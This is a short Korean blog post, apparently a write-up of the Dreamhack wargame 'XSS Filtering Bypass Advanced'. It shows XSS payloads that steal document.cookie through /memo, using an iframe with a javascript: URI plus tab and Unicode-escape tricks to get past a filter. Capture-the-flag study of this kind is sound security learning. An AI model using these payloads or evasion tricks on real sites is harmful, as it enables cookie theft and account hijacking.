[Dreamhack] XSS Filtering Bypass Advanced

sy46·2023년 7월 26일
0

dreamhack

목록 보기
12/20

XSS Filtering Bypass Advanced

이전 XSS 우회 문제와 다른 점은 없으나, 한 가지 차이점은

이렇게 필터링 되는 부분이 많다는 점이다.
또한, 해당 문자를 공백으로 바꾸는 것이 아닌 다른 문자로 바꿔주므로 중간에 삽입할 수도 없다.

그렇기에 on 이벤트와 script 태그를 쓰지 않는 방법으로 우회를 해주어야 한다.
그래서 일단 on 이벤트와 sript 태그를 사용했을 때(필터에 걸리는)의 코드를 먼저 작성했다.

<script>location.href="/memo?memo="+document.cookie</script>

이제 이 코드를 수정하면 되는데, 일단 처음에 script 태그를 없애주어야한다.
이를 위해 iframe 태그로 바꾸어주었다.

<iframe src="javascript:location.href="/memo?memo="+document.cookie></iframe>

여기서부터는 javascript 스키마를 사용하므로 유니코드로 변환해주었고,
javascript: 자체를 유니코드로 변환할 수는 없으므로 \t와 같은 특수문자로 변환해주었다.

아래는 최종적인 코드이다.

<iframe src="javascri	pt:locati\u006Fn.href='/memo?memo='
+d\u006Fcument.cookie"></iframe>

0개의 댓글